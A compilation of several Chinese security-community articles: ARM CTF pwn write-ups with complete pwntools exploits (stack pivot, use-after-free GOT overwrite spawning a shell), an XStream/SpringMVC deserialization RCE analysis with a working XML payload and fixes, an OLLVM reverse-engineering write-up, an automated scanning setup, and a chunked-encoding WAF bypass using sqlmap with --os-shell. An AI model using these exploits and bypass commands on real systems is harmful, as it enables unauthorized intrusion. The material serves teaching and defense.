#### 程序分析
程序为ARM-32-dynamically linked程序。
此处明显存在栈溢出，因为a1的值没有限定长度，但是程序中没有合适的gadget可供利用，因此还是利用ret2csu来进行利用。
首先通过调试可以确定劫持返回地址的位置。(`payload = 'x41' * 0x44 + 'BBBB'`)
padding确定之后就开始寻找程序中可能存在的gadget
发现只有控制R3的较为方便的指针，接下来发现main函数中可以利用R3寄存器间接控制R1寄存器实现任意地址写，以及间接控制R0寄存器。
那么我们的思路就是利用 **栈迁移** ，将栈迁移到BSS段实现利用。
#### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
Basic_ROP=ELF('./Basic_ROP', checksec = False)
libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif False:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Basic_ROP"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Basic_ROP"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
if __name__ == "__main__":
sh = get_sh()
payload = 'x41' * 0x40 + p32(Basic_ROP.bss(0x500)) + p32(0x000103F8) # Padding + return_addr
payload += p32(Basic_ROP.bss() + 0x500 - 0x4 * 3) # R3
payload += p32(0x0001065C) # PC
sh.recvuntil('Give me data to dump:')
sh.sendline(payload)
payload = '/bin/shx00'
payload += p32(Basic_ROP.bss() + 0x500 + 0x120 - 0x4 * 4) # R11
payload += p32(0x000103F8) # return_addr
payload += p32(Basic_ROP.bss() + 0x500 - 0x10 + 0x4) # R3
payload += p32(0x0001062C) # PC
payload += 'x00' * 0x100
payload += p32(0xDeadbeef) # R11
payload += p32(0x00010574) # return_addr
# payload += p32(Basic_ROP.plt['system']) # return_addr
sh.sendline(payload)
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
### 以Use_After_Free为例 —— 堆利用实例
#### 程序分析
程序为ARM-32-dynamically linked程序。
#### 分析题目逻辑&探测漏洞点
首先使用IDA尝试分析，发现程序逻辑较为混乱，无法顺利的理清楚。
##### 探测UAF漏洞
那么我们首先尝试运行，
发现是一个常见的表单题，除了常见的增删改查以外还提供了很多选项，但令我们很在意的是，程序在增删改查时，提供了`alias`作为索引！那么推测我们如果按index释放后是否没有把alias索引清空，经过测试，果然发现存在`Use-After-Free`漏洞！
##### 探测Double Free漏洞
接下来我们尝试触发double free漏洞
验证存在！
##### 分析数据结构
此处我们使用动态调试的方式，因为远程调试的原因导致我们的heap命令无法使用，于是我们在menu处下断，然后查看teams数组内的内容，就可以看到每个成员的情况。
此处我们可以分析出，程序会直接申请一个大小为0x3C大小的Chunk用于存放name，并在name的最后四字节放上Description的chunk的data域指针，Description会根据我们的输入大小进行分配，然后程序会再分配一个大小为0x14的Chunk，分别存放name的chunk的data域指针，Alias。
这一点也可以在静态分析中得到佐证：
##### Delete函数分析
对delete函数静态分析后也可以佐证我们之前的探测。
##### Edit 函数分析——另一个free的机会！
也就是说，如果我们更新的Description若更长，程序会free掉旧的，malloc一个更长的Chunk。
#### 漏洞利用
那么我们其实可以很容易的分析出，若我们能控制name这个chunk的最后四字节，我们事实上拥有了一个任意地址读写的能力！
#### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
Use_After_Free=ELF('./Use_After_Free', checksec = False)
libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./libc-2.24.so", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif False:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Use_After_Free"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Use_After_Free"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def creat(sh,Chunk_alias,Team,Desc):
sh.recvuntil(': ')
sh.sendline('add' + ' ' + Chunk_alias)
sh.recvuntil('Team: ')
sh.sendline(Team)
sh.recvuntil('Desc: ')
sh.sendline(Desc)
def delete(sh,index=null,Chunk_alias=null):
sh.recvuntil(': ')
if Chunk_alias != null:
sh.sendline('del' + ' ' + Chunk_alias)
else:
sh.sendline('del')
sh.recvuntil('Index: ')
sh.sendline(str(index))
def show(sh,index=null,Chunk_alias=null):
sh.recvuntil(': ')
if Chunk_alias != null:
sh.sendline('show' + ' ' + Chunk_alias)
else:
sh.sendline('show')
sh.recvuntil('Index: ')
sh.sendline(str(index))
def edit(sh,Team,Desc,Point,index=null,Chunk_alias=null):
sh.recvuntil(': ')
if Chunk_alias != null:
sh.sendline('edit' + ' ' + Chunk_alias)
else:
sh.sendline('edit')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Team: Team: ')
sh.sendline(Team)
sh.recvuntil('Desc: ')
sh.sendline(Desc)
sh.recvuntil('Points: ')
sh.sendline(str(Point))
if __name__ == "__main__":
sh = get_sh(True)
creat(sh,'Chunk__0','Chunk__0','A' * (0x20 - 1))
creat(sh,'Chunk__1','Chunk__1','A' * (0x20 - 1))
creat(sh,'Chunk__2','Chunk__2','A' * (0x20 - 1))
creat(sh,'Chunk__3','/bin/shx00','/bin/shx00')
delete(sh,1)
edit(sh,'Chunk__2','A' * 0x38 + p32(Use_After_Free.got['free']),2,2)
show(sh,1,'Chunk__1')
sh.recvuntil(' Desc: ')
libc_base = u32(sh.recv(4)) - libc.symbols['free']
success('We get libc base address is ' + str(hex(libc_base)))
sh.recvuntil(': ')
sh.sendline('edit' + ' ' + 'Chunk__1')
sh.recvuntil('Team: ')
sh.sendline('Chunk__1')
sh.recvuntil('Desc: ')
sh.sendline(p32(libc_base + libc.symbols['system']) + p32(libc_base + libc.symbols['fgets']))
sh.recvuntil('Points: ')
sh.sendline(str(1))
delete(sh,3)
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
## 0x05 后记
可以看出，ARM架构下的pwn利用大多数还是利用了Intel32/AMD64架构下的利用思想，只要理解并掌握了ARM架构指令集的变化，利用还是相对容易的，此处的题目没有展示更深的利用技巧(例如：栈喷射、堆喷射、条件竞争等)，这些技巧可能会在我的下一篇文章中给与展示，同时接下来我将会去尝试总结MIPS架构下的PWN利用技巧~
## 0x06 参考链接
[arm64程序调用规则 – maniac_kk](https://juejin.im/post/5d14623ef265da1bb47d7635)
[如何 pwn 掉一个 arm 的binary – m4x](https://m4x.fun/post/how-2-pwn-an-arm-binary/)
[ARM汇编指令-STMFD和LDMFD –
行走的红茶](https://blog.csdn.net/weiwei_xiaoyu/article/details/20563479)
[ARM汇编编程规则 – Arrow](https://blog.csdn.net/MyArrow/article/details/9665513)
[ARMv8-AArch64寄存器和指令集](https://blog.csdn.net/tanli20090506/article/details/71487570)
[ARM栈溢出攻击实践：从虚拟环境搭建到ROP利用](https://www.freebuf.com/articles/terminal/107276.html)
[Mac下安装qemu并模拟树莓派操作系统 –
gogogogo彬](https://blog.csdn.net/qq_40640958/article/details/89048551)
[Rootme CTF UAF Writeup](https://www.ms509.com/2018/03/23/Rootme-uaf-writeup/) | 社区文章 |
我们专注漏洞检测方向：danenmao、arnoxia、皇天霸、lSHANG、KeyKernel、BugQueen、zyl、隐形人真忙、oxen（不分先后）
欢迎关注我们的微信公众号：[EnsecTeam](http://t.cn/Rgs1Bew "EnsecTeam")
作者：隐形人真忙 & arnoxia
**1.TL;DR**
在排查业务线安全问题时，我们发现内部扫描平台的S2-052扫描插件扫出了某业务线的一例RCE漏洞，但是业务线反馈并没有使用Struts2框架。
通过深入分析，发现是由于SpringMVC中MarshallingHttpMessageConverter使用不当导致的反序列化漏洞，从而造成一系列的安全风险，本文主要深入分析该问题的技术原理与解决方案。
**2.HttpMessageConverter机制**
要理解这个漏洞，首先需要了解SpringMVC的HttpMessageConverter机制。HttpMessageConverter接口是Spring
MVC中用来对HTTP Body部分的数据进行定制化转换的。
该接口的定义如下：
booleancanWrite(Class<?> var1, @Nullable MediaType var2);
//获取支持的MIME类型
List<MediaType>getSupportedMediaTypes();
//读操作
T read(Class<? extendsT> var1, HttpInputMessage var2) throws IOException, HttpMessageNotReadableException;
//写操作
void write(T var1, @NullableMediaType var2, HttpOutputMessage var3) throws IOException,HttpMessageNotWritableException;
}
主要有五个需要实现的方法，即判断是否可读、是否可写，获取MIME的类型，以及读和写操作。Spring
web模块中提供了一些内置的接口实现类，比如StringHttpMessageConverter，FormHttpMessageConverter，MarshallingHttpMessageConverter等。
其中，这里的MarshallingHttpMessageConverter
主要用来实现对XML进行序列化和反序列化的，用户只需要设置执行XML序列化和反序列化的类，也就是给MarshallingHttpMessageConverter提供相应的Marshaller和Unmarshaller即可。原理大致如下图：
后端设置好MarshallingHttpMessageConverter之后，就可以执行对body的序列化和反序列化了，将body数据与java对象进行相互转换。当用户发出请求报文后，MarshallingHttpMessageConverter会调用相应的Unmarshaller对body进行反序列化操作，将body中的XML还原为Java对象。在响应时，SpringMVC会将java对象再序列化为XML文档返回给用户。
MarshallingHttpMessageConverter可以处理的MIME类型默认为[application/xml,text/xml,
application/*+xml]，可以在controller获取注入的convert对象执行getSupportedMediaTypes方法来查看。
**3.XStreamMarshaller反序列化问题**
XStream反序列化漏洞想必大家都不陌生，S2-052就是由于这个问题引发的。Spring-oxm中提供了一系列的marshaller，其中有XStreamMarsaller，这个编码器的内部是通过XStream完成的对象和XML之间转换的。
我们在spring中注入MarshallingHttpMessageConverter的时候可以指定XStreamMarshaller作为marshaller和unmarshaller，springboot配置代码如下：
首先注入XStreamMarshaller，然后注入MarshallingHttpMessageConverter，并设置converter的marshaller和unmarshaller对象。
根据上一章节的分析，外部实际上直接可以通过修改Content-Type为application/xml等MIME类型来触发反序列化。使用marshalsec构造payload，然后发包，效果如下:
我们来进行动态调试探究一下具体的处理过程，首先在XStreamMarshaller的doUnmarshal方法下断点，然后发送payload，断点处的调用栈信息如下：
可以看到最终调用了XStreamMarshaller的doUnmarshal方法，这个方法又最终调用了XStream的unmarshal方法：
这个其实和XStream反序列化漏洞原理如出一辙了，XStream.fromXML最终也是调用了unmarshall方法来完成的反序列化过程，外界传入精心构造的payload就会触发远程命令执行。
实际上这个问题已经被pwntester大牛发现，但是该问题并没有得到足够的重视，同时Spring官方把这个问题推给了XStream和开发者。
**4.XStream反序列化问题深入分析**
pwntester在其blog中给出了一个简单的payload：通过在Post中发送特意构造的xml数据：
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
借助java中的对象动态代理机制，在xstream将xml转换为对象过程中执行特定命令，payload详细分析如下：
* 解析请求数据，调用xtream解析器
getMethodArgumentValues org.springframework.web.method.support.InvocableHandlerMethod
resolveArgument mvc.method.annotation.RequestResponseBodyMethodProcessor
.....
readFromSource http.converter.xml.MarshallingHttpMessageConverter.readFromSource
unmarshal Object org.springframework.oxm.Unmarshaller.unmarshal
...
doUnmarshalorg.springframework.oxm.xstream.XStreamMarshaller.doUnmarshal
unmarshal com.thoughtworks.xstream.XStream.unmarshal
在解析http请求参数过程中会调用spring-oxm的unmarshal函数，而unmarshal函数则会调用相应的子类方法，最终调用了xstream的unmarshal方法。
* xml数据解析
XStream.unmarshal
TreeUnmarshaller.start 开始xml解析
TreeUnmarshaller.covert
...
TreeSetConverter.unmarshal 获取第一个节点为sorted-set后，调用TreeSetCoverter方法
TreeMapConverter.populateTreeMap
TreeSetConverter.putCurrentEntryIntoMap 解析第一对entry，即dynamic-proxy
AbstractCollectionConverter.readItem 生成proxy65$对象
readClassType 获取类类型，即DynamicProxyMapper$DynamicProxy
covertAnother 递归解析对象
....
DynamicProxyConverter.unmarshal 调用DynamicProxyConverter生成$Proxy65对象
result.putAll 将解析结果存入hashmap中
TreeMap.put(key, value) 将key，value存入hash map
在解析xml对象时，根据节点类型调用不同的coverter，如果为sorted-set，调用TreeSetCoverter.unmarshal；如果为map，则调用MapCoverter.unmarshal。针对每一对entry，采用递归调用的方式进行解析，在解析完所有对象后，通过调用TreeMap.put函数将key和value存入hash
map，此时key和value值都为：
为一个EventHandler对象，target为ProcessBuilder对象，而action为start
* 漏洞触发
当xtream解析完xml后，在将key和value存入hashmap中时：
public V put(K key, V value) {
Entry<K,V> t = root;
if (t == null) {
compare(key,key); //比较key，进行类型检查
此时key值即为$Proxy65，然后调用java.util.TreeMap.compare函数：
@SuppressWarnings("unchecked")
final int compare(Object k1, Object k2) {
return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
: comparator.compare((K)k1, (K)k2);
}
此时comparator为null，返回((Comparable<? super
K>)k1).compareTo((K)k2)，此时将调用$Proxy65.compareTo(Object)方法，因此会调用代理类的invoke方法，此时即为EventHandler.invoke(proxy,
method,args)。其中，proxy为$Proxy65，method为compareTo，args为null。
public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
....
return invokeInternal(proxy, method, arguments);
….
}
调用invokeInternal方法：
private Object invokeInternal(Object proxy,Method method, Object[] arguments) {
String methodName = method.getName();
...
Method targetMethod =Statement.getMethod(
target.getClass(),action, argTypes);
if (targetMethod == null) {
targetMethod =Statement.getMethod(target.getClass(),
"set" +NameGenerator.capitalize(action), argTypes);
}
...
returnMethodUtil.invoke(targetMethod, target, newArgs);
}
...
}
首先获取方法名，然后利用Statement.getMethod函数构造目标方法，此时的目标方法为java.lang.ProcessBuilder.start()，然后调用MethodUtil.invoke函数：
publicstatic Object invoke(Method m, Object obj, Object[] params)
throws InvocationTargetException, IllegalAccessException {
try {
returnbounce.invoke(null, new Object[] {m, obj, params});
最终会执行ProcessBuilder(command).start()，从而导致命令执行:
总结来说，就是通过在传入spring的xml中构造sorted-set对象，并在其中包含实现了Comparable接口的Proxy类对象，对象中包含一个EventHandler的handle，而Eventhandler中则包含了一个ProcessBuilder的target和值为’start’的action。因此在解析完对象后，存入hashMap时，会调用compareTo方法，触发代理类实现的invoke方法，从而导致命令执行。
除了通过sorted-set以外，还可以通过map对象，此时map对象解析使用的是MapCoverter，可以参见S2-052从Payload到执行浅析，这篇关于struts2的漏洞分析。
**5.漏洞修复**
* 配置XStream白名单
XStream
1.4.7开始对于反序列化漏洞有一些缓解措施，但是必须由开发者手动设置。可以调用addPermission，allowTypes，denyTypes等对某些类进行限制，通过这个机制可以建立白名单和黑名单机制。具体用法如下：
详细可以参考：<http://x-stream.github.io/security.html>
需要注意的是，在注入XStreamMarshaller的时候不要设置xstream的安全策略，而要在设置MarshallingHttpMessageConverter时获取出XStreamMarshaller，然后提取出其中的xstream对象进行安全设置。这是因为XStreamMarshaller实现了InitializingBean接口，在afterPropertiesSet中会重置一次xstream，如果在注入XStreamMarshaller的方法中设置xstream，可能会导致配置的安全策略失效。
* 替换Marshaller/Converter
黑名单和白名单机制有个问题，就是不好维护。此外XStream官方维护的Blacklist也存在被攻击者绕过的风险。因此为了保险起见，可以直接放弃使用XStreamMarshaller而改用spring-oxm中的其他marshaller。或者直接放弃使用MarshallingHttpMessageConverter，选择其他的converter来进行替换。
Reference
<http://www.freebuf.com/vuls/147170.html>
<https://github.com/mbechler/marshalsec>
<http://www.pwntester.com/blog/2013/12/24/more-on-xstream-rce-springmvc-ws/>
<http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/> | 社区文章 |
# 前言
这题本来不想详细的说，因为我解此题用的比较笨的方法，但这也不失为一种方法，赛后反思总结了一下，觉得在逆向调试和分析的技巧上可以有所提高，并且最后也会提及如何在自己的程序中加入llvm混淆。
## Strange Interpreter
通过`file`指令可知是一个64位，linux动态编译的程序，载入`IDA`可以看到程序混淆的十分严重。
不过和叹息之墙比起来，还差的远呢。
通过查看字符串，可以知道flag的长度为32，并且看到一串明文。
这段明文放在这里肯定会被使用到，交叉引用可以来到`loc_412164`基本块中
`strings`查看字符串。
可以知道程序使用`Obfuscator-LLVM 4.0.1`编译的。
但是现在我们并不能看出什么东西，正常的逻辑是这样的，不过要是感觉敏锐一点，`byte_613050`是最后用来校验的数据，`ds:dword_6130D0`是经过加密变换后的数据，然后我们在分析时就可以抓住`ds:dword_6130D0`关键线索进行查看，但这篇文章中我想说明并不是这个，而是一点提升动调效率的技巧，所以接下来我们还是从`main`函数开始我们的分析。
## 开始
`IDA`是个神器，我们应该好好利用。IDA在分析完程序后，会显示`CFG`控制流程图，每个基本块之间的关系我们可以清楚的看到。
总揽一下代码可以看到这样那样的`花指令`以及使用了控制流平坦化的混淆方式，这也已经很常见了。
## 动态调试
假设大家都不知道`llvm`混淆的程序是怎样的，我们从`loc_400655`基本块开始看起。我们需要时刻盯着我们的输入。
不断的`f8`我们便可以来到`loc_400979`基本块中，其实可以发现全程只有`jmp`和`jz`两条跳转指令，从上到下的中间过程我们是无法修改的，也就是说在这个过程中，并没有进行改变程序流程的校验。了解到这一点之后我们便可以在每个分支的最后一个基本块的下断，而后便可以`F9`运行到断点处，从而节省一部分时间。继续回到这个块中。
可以看到它的功能是将输入的第一个字符取出，并存入到`ds:dword_6130D0`中，同时`ecx`作为下标，也就是`ds:index`(已重命名，最后我会附上idb文件)，可以想到后续必然是会逐个获取我的输入，并将其拷贝到`ds:dword_6130D0`中，此时我们便可以
F9 运行到下一个`loc_4009A9`基本块中,很明显是为了将`ds:index`++。
同样的 F9 可以来到`loc_40095C`，比较`ds:index`是否大于0x20
其实这时已经比较明显了，但我们仍需要验证一下，再次F9再次来到`loc_400979`中，之后便是一个循环，此时我们可以取消先前设置的三个断点，再次F9，注意数据部分的变换，最后运行到`loc_4009C6`，由于代码块太大，IDA无法使用CFG图将其展示出来。
此时的`ds:dword_6130D0`如下：
`loc_4009C6`代码块非常的大，如果单步调试可能真的需要半天时间，因此我们需要找到重复的部分，我们紧盯着`ds:dword_6130D0`这部分数据，这是切入点，前面一大段在进行复制，可以通过F4运行到光标处，进行快速的调试，代码重复的部分便可一快速的跳过。
接下来的一大片代码都在增加`index`的值，我们可以快速的滑动滚轮略过，直到`40F13D`，出现大片奇怪的字符。
单步跟一会可以发现，程序将这些字符复制到了`ds:dword_6130D0`偏移`index*4`的位置
同样略过重复代码，之后是大量的`index--`，也就是
而后同样的又是将一块数据复制到`ds:dword_6130D0`偏移`0x1d0*4`处。最后来到`0x411A09`
有一个很明显的xor操作，此时通过查看`eax 和
rcx`可知是将输入同刚刚初始化的数据进行xor，我们也可以进行一个反向验证，这很容易，因为xor是可逆操作。所以此部分代码可以略过，最后可以看到我们的输入变化如下：
只有前0x10字节发生了变化，因此我们便可以得到第一部分的解密脚本。
>
> 我想要讲的到这里已经差不多了，在带混淆调试时，我们不可能完全的单步调试，必须有选择的略过一些无用代码，这可以提高我们的效率，其实做逆向，看完题目后心中应该大致有一个方向，我们需要做的是去验证自己的想法是否正确，带着一定的目的进行调试，而不是走一步看一步，反而做了大量的无用功。
接下来的过程和第一部分差不多，至少方法上是一样的，因此我也不愿在这里做无用功，以上就是我的一点技巧，希望能给大家一些帮助，也希望同学们能动手调试一遍，感受其中的乐趣，感受逆向工程的美丽。在文末我会附上我的`idb`，仅供参考！
最后的校验部分如图：
解密脚本如下：
dic = '012345abcdefghijklmnopqrstuvwxyz'
dic_list=list(dic)
xor1=[0x68,0x1C,0x7C,0x66,0x77,0x74,0x1A,0x57,0x06,0x53,0x52,0x53,0x02,0x5D,0x0C,0x5D]
xor2=[0x04,0x74,0x46,0x0E,0x49,0x06,0x3D,0x72,0x73,0x76,0x27,0x74,0x25,0x78,0x79,0x30]
xor3=[0x68,0x1C,0x7C,0x66,0x77,0x74,0x1A,0x57,0x06,0x53,0x52,0x53,0x02,0x5D,0x0C,0x5D]
print len(xor1)
flag1=""
for i in range(16):
flag1+=chr(xor1[i]^ord(dic[i]))
print flag1
flag2=""
for i in range(16):
j=i+16
flag2+=chr(xor2[i]^ord(dic[j])^xor3[i]^ord(dic[i]))
print flag2
print flag1+flag2
## 使用llvm编译自己的程序
[obfuscator-llvm](https://github.com/obfuscator-llvm/obfuscator/wiki/Installation)
$ git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git
$ mkdir build
$ cd build
$ cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/
$ make -j7
`ubuntu`下照着官方的流程来一遍就可以了。
使用如下方式进行编译：
`$ path_to_the/build/bin/clang test.c -o test -mllvm -sub -mllvm -fla`
这样我们便可以自己给自己出道`llvm`的题目了，是不是很刺激呢。
# 总结
其实解决这道题目的方法有很多，这里只是想分享一下自己的一些小思路，希望自己在以后遇到需要头铁分析的题目时能善于利用技巧，提高逆向效率。最后也欢迎大家一起交流。
> 附件链接:<https://pan.baidu.com/s/1hsf1fkIdwDiMiXBY6J76KQ> 密码:kvs8 | 社区文章 |
#####
最近搞来了一个长亭的xray高级版，用了几天感觉很不错，基础漏洞准确率很高。于是就在构思有没有让xray帮我自动挖洞，如果让xray自动帮我挖洞，那么我就等于我雇佣了xray的研发人员帮我挖src而且还不用支付工资。想想就开心，于是我就开始构思怎么用最少的代码来把他们组合起来。
#### 思路如下：
##### 我们写一个python脚本监控lsc里面的域名,如果有新增的域名就传到burp这边然后就让进行爬虫然后把爬虫数据交给xray被动流量进行分析。
##### 上面的方案的需要处理一下burp爬虫传递给xray数据问题，不符合我这种拿来主义。所以我还准备了一个拿来主义方案
#### 思路如下：
#####
同样写一个检测lsc里面的域名，发现新的域名就使用爬虫脚本进行爬取链接进行模拟访问，然后模拟访问就会触发burp的被动扫描，然后burp这边使用Passive
Scan Client把链接传递给xray进行最后被动流量扫描。
##### 基本思路如上，如果是自家使用的话可以加上短信报警，钉钉、微信报警等，或者加上awvs等。欢迎大家进行点评我这个思路。
##### xray Github地址：<https://github.com/chaitin/xray/releases>
##### passive-scan-client Github地址：<https://github.com/c0ny1/passive-scan-client>
##### SRC子域名资产监控 Github地址：<https://github.com/LangziFun/LangSrcCurise> | 社区文章 |
# 唯快不破的分块传输绕WAF
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS3cdqUo4FR3fP11VBhvO_nM7ZTyoX8p171qXa8Fplpd9mVNwAXPUuOmh6giNS_Ai9dFhUDSwe7-V0ghvM3BSCsy5RylQmixWV6lkZLqcg96BBl7AbJAgfL_t-voNV_UuX86OYx1xdM6dHAeP3se1jxPUSv9YnMwXWzqGko_n2nj2MXmg45tSchlalmlMhNv3WWI4QGt2EFnhWPYfyn0pCk56VKrzu_4XKA..&type=2&query=%E5%94%AF%E5%BF%AB%E4%B8%8D%E7%A0%B4%E7%9A%84%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BB%95WAF&token=070F6373D3A4D10AD0D5650988FC4B16D0E9DD725F18F6FA&k=14&h=T](https://weixin.sogou.com/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgS3cdqUo4FR3fP11VBhvO_nM7ZTyoX8p171qXa8Fplpd9mVNwAXPUuOmh6giNS_Ai9dFhUDSwe7-V0ghvM3BSCsy5RylQmixWV6lkZLqcg96BBl7AbJAgfL_t-voNV_UuX86OYx1xdM6dHAeP3se1jxPUSv9YnMwXWzqGko_n2nj2MXmg45tSchlalmlMhNv3WWI4QGt2EFnhWPYfyn0pCk56VKrzu_4XKA..&type=2&query=%E5%94%AF%E5%BF%AB%E4%B8%8D%E7%A0%B4%E7%9A%84%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BB%95WAF&token=070F6373D3A4D10AD0D5650988FC4B16D0E9DD725F18F6FA&k=14&h=T)
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
某重保项目，需要进行渗透，找到突破口，拿起sqlmap一顿梭，奈何安全设备在疯狂运转，故祭起绕过注入的最强套路-分块传输绕过WAF进行SQL注入。安全人员当然安全第一，拿到渗透授权书，测试时间报备等操作授权后：
## 0x02 神马探测
因为客户授权的是三个段，资产众多，且时间紧张，多工具搭配同时进行资产探测。故先对三个段使用资产探测神器goby和端口神器nmap一顿怼，还有静悄悄不说话的主机漏扫神器Nessus。因此也就结合探测出来的ip和端口及其他资产详情，信息探测进行时，先根据目前得到的web网站一顿梭。在浏览器输入IP+端口，滴，开启web世界。喝了一口肥宅快乐水并咪咪眼开始端详起这几个web网站。
界面是这个样子：
定睛一看，先抓个包跑跑注入，神器sqlmap一片红。卒，遂放弃。
再次定睛一看，妥妥的用户登录页面，试试弱口令，burp神器走一波。
嗯，用户名密码可爆破漏洞，提交，收工。
报告提交后，我领导看到后，嗯，如下图：
挨了一顿锤之后，手里的肥宅快乐水不香了，继续努力搬砖吧。
## 0x03 继续杠不要怂
作为男子汉，肿么能因为sqlmap一片红就继续放弃呢？是男人就继续用sqlmap杠，这次祭起分块WAF进行绕过。
## 0x04 what is 分块传输？
分块传输编码（Chunked transfer
encoding）是超文本传输协议（HTTP）中的一种数据传输机制，允许HTTP由应用服务器发送给客户端应用（
通常是网页浏览器）的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本（HTTP/1.1）中提供。
通常，HTTP应答消息中发送的数据是整个发送的，Content-Length消息头字段表示数据的长度。数据的长度很重要，因为客户端需要知道哪里是应答消息的结束，以及后续应答消息的开始。然而，使用分块传输编码，数据分解成一系列数据块，并以一个或多个块发送，这样服务器可以发送数据而不需要预先知道发送内容的总大小。通常数据块的大小是一致的，但也不总是这种情况。一般情况HTTP请求包的Header包含Content-Length域来指明报文体的长度。有时候服务生成HTTP回应是无法确定消息大小的，比如大文件的下载，或者后台需要复杂的逻辑才能全部处理页面的请求，这时用需要实时生成消息长度，服务器一般使用chunked编码。在进行Chunked编码传输时，在回复消息的Headers有Transfer-Encoding域值为chunked，表示将用chunked编码传输内容。
这在http协议中也是个常见的字段，用于http传送过程的分块技术，原因是http服务器响应的报文长度经常是不可预测的，使用Content-length的实体搜捕并不是总是管用。
分块技术的意思是说，实体被分成许多的块，也就是应用层的数据，TCP在传送的过程中，不对它们做任何的解释，而是把应用层产生数据全部理解成二进制流，然后按照MSS的长度切成一分一分的，一股脑塞到tcp协议栈里面去，而具体这些二进制的数据如何做解释，需要应用层来完成。
简而言之，就是把数据包分成一块一块的丢过去，骗骗死脑筋的WAF。
## 0x05 分块传输开启绕过
手工进行分块绕过较为繁琐，且花费时间长，面对大量资产的情况，项目时间较为紧张的情况下，还是使用自动化工具来的快捷方便。这里使用sqlmap+burp+burp插件（chunked-coding-converter）。祭出我二表哥工具的项目地址：<https://github.com/c0ny1/chunked-coding-converter>。快速使用：burp获取post包后，复制post包，做成post.txt,并放置于sqlmap工具文件下。（忽略在下负一级的打马赛克技术）
使用burp 设定插件，开启插件代理：
使用Sqlmap进行代理：sqlmap语句sqlmap.py -r post.txt –proxy=<http://127.0.0.1:8080> –os-shell
什么？为什么不继续了？因为客户不让了，表演结束了，谢谢大家。
## 0x06 让我再多说一句
当然为了更加快速化，和方便快捷一步到位，可使用sqlmap参数batch自动进行注入。
sqlmap.py -r post.txt –proxy=<http://127.0.0.1:8080> –batch
当当然，我们再可以提高速度，进行一步到位，可使用sqlmap参数threads提高并发数。
sqlmap.py -r post.txt –proxy=<http://127.0.0.1:8080> –batch –threads 10
当当当然可以修改sqlmap配置文件将默认最高10改成9999，具体根据现场实际情况进行修改。
Sqlmap配置文件settings.py，将MAX_NUMBER_OF_THREADS = 9999。
多线程sqlmap效果如下：
Ok，以上是面对大量资产绕过waf进行注入的姿势。 | 社区文章 |
# 利用CVE-2018-8373 0day漏洞的攻击与Darkhotel团伙相关的分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2018年8月15日，网络安全公司趋势科技公开了其在今年7月捕获到的一例在野0day漏洞攻击，该攻击利用了Windows VBScript
Engine的代码执行漏洞，经过分析对比发现该0day漏洞和2018年4月360公司首次发现影响IE浏览器并通过Office文档进行攻击的“双杀”漏洞（详见参考[1]）使用了多个相同的攻击技术，极有可能是同一团伙所为。
360威胁情报中心第一时间对该0day漏洞进行了分析确认，并通过大数据关联分析确认本次的0day在野攻击与DarkHotel APT组织存在关联。
## 来源
2018年8月15日，趋势科技公开了其在今年7月11日捕获到的一例在野0day漏洞攻击技术分析，该漏洞已于公开的前一天被微软修复，漏洞编号为：CVE-2018-8373。
## 三个“双杀”0day漏洞时间线
CVE-2018-8373其实是今年以来被发现的影响Windows VBScript
